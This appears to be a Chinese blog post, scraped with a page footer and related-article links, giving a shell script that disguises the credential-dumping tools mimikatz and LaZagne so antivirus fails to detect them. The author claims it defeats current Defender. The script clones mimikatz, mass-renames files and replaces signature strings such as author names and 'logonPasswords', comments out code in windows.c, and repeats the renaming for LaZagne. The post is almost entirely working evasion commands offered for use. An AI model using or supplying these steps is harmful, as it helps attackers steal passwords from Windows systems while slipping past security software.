zoukankan      html  css  js  c++  java
  • 关于mimikatz lazagne免杀方法

    其实现在的杀软还是玩的老一套,改改特征字符就能过了,最新的defender能用这个方法过

    文章直接从笔记复制出来的,有需要的自己看情况用

    git clone https://github.com/gentilkiwi/mimikatz.git lmmg
    mv lmmg/mimikatz lmmg/lmmg
    find lmmg/ -type f -name '*mimikatz*' | while read FILE ; do
            newfile="$(echo ${FILE} |sed -e 's/mimikatz/windows/g')";
            mv "${FILE}" "${newfile}";
    done
    find lmmg/ -type f -name '*kiwi*' | while read FILE ; do
            newfile="$(echo ${FILE} |sed -e 's/kiwi/onedrive/g')";
            mv "${FILE}" "${newfile}";
    done
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/Mimikatz/Windows/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/DELPY/gweep/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/Benjamin/gweeperx/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/benjamin@gentilkiwi.com/@gweeperx/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/creativecommons/notcommons/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/gentilkiwi/MSOffice/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/KIWI/ONEDRIVE/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/Kiwi/Onedrive/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/kiwi/onedrive/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/DumpCreds/DumpCred/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/logonPasswords/logonPassword/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/ArgumentPtr/NotTodayPal/g'
    find lmmg/ -type f -print0 | xargs -0 sed -i 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' 
    
    cd ./lmmg/lmmg/
    sed -i "0,/#if !defined(_POWERKATZ)/! {0,/#if !defined(_POWERKATZ)/ s/#if !defined(_POWERKATZ)//*
    #if !defined(_POWERKATZ)/}" windows.c
    sed -i "0,/#endif/! {0,/#endif/! {0,/#endif/ s/#endif/#endif
    *//}}" windows.c
    
    lazagne
    find ./Windows/ -type f -name '*lazagne*' | while read FILE ; do
            newfile="$(echo ${FILE} |sed -e 's/lazagne/kmm/g')";
            mv "${FILE}" "${newfile}";
    done
    
    find ./Windows/ -type d -name '*lazagne*' | while read FILE ; do
            newfile="$(echo ${FILE} |sed -e 's/lazagne/kmm/g')";
            mv "${FILE}" "${newfile}";
    done
    
    find ./Windows/ -type f -name '*LaZagne*' | while read FILE ; do
            newfile="$(echo ${FILE} |sed -e 's/LaZagne/Kmm/g')";
            mv "${FILE}" "${newfile}";
    done
    
    find ./Windows/ -type d -name '*LaZagne*' | while read FILE ; do
            newfile="$(echo ${FILE} |sed -e 's/LaZagne/Kmm/g')";
            mv "${FILE}" "${newfile}";
    done
    find ./Windows/ -type f -name '*laZagne*' | while read FILE ; do
            newfile="$(echo ${FILE} |sed -e 's/laZagne/KMm/g')";
            mv "${FILE}" "${newfile}";
    done
    
    find ./Windows/ -type d -name '*laZagne*' | while read FILE ; do
            newfile="$(echo ${FILE} |sed -e 's/laZagne/KMm/g')";
            mv "${FILE}" "${newfile}";
    done
    
    find windows/ -type f -print0 | xargs -0 sed -i 's/lazagne/kmm/g'
    find windows/ -type f -print0 | xargs -0 sed -i 's/LaZagne/Kmm/g'
    find windows/ -type f -print0 | xargs -0 sed -i 's/laZagne/KMm/g'
    
    find windows/ -type f -print0 | xargs -0 sed -i 's/BANG/bg/g'
    find windows/ -type f -print0 | xargs -0 sed -i 's/passwords ---------------/vp/g'
    find windows/ -type f -print0 | xargs -0 sed -i 's/Password not found/nop/g'
    find windows/ -type f -print0 | xargs -0 sed -i 's/=================================================================/ll/g'
    find windows/ -type f -print0 | xargs -0 sed -i 's/########## User/lp/g'
    find windows/ -type f -print0 | xargs -0 sed -i 's/For more information launch it again with the -v option/jj/g'
  • 相关阅读:
    音乐
    脚本注释的作用
    JavaScript状态栏冒泡
    JavaScript动态显示时间
    正则表达式
    JavaScript数组的最大长度
    加密(编码)web.config中的信息(如:连接字符串)
    JavaScript实现EMAIL功能
    JavaScript检测分辨率
    JavaScript如何给网页滚动条加上颜色?
  • 原文地址:https://www.cnblogs.com/junmoxiao/p/11774748.html
Copyright © 2011-2022 走看看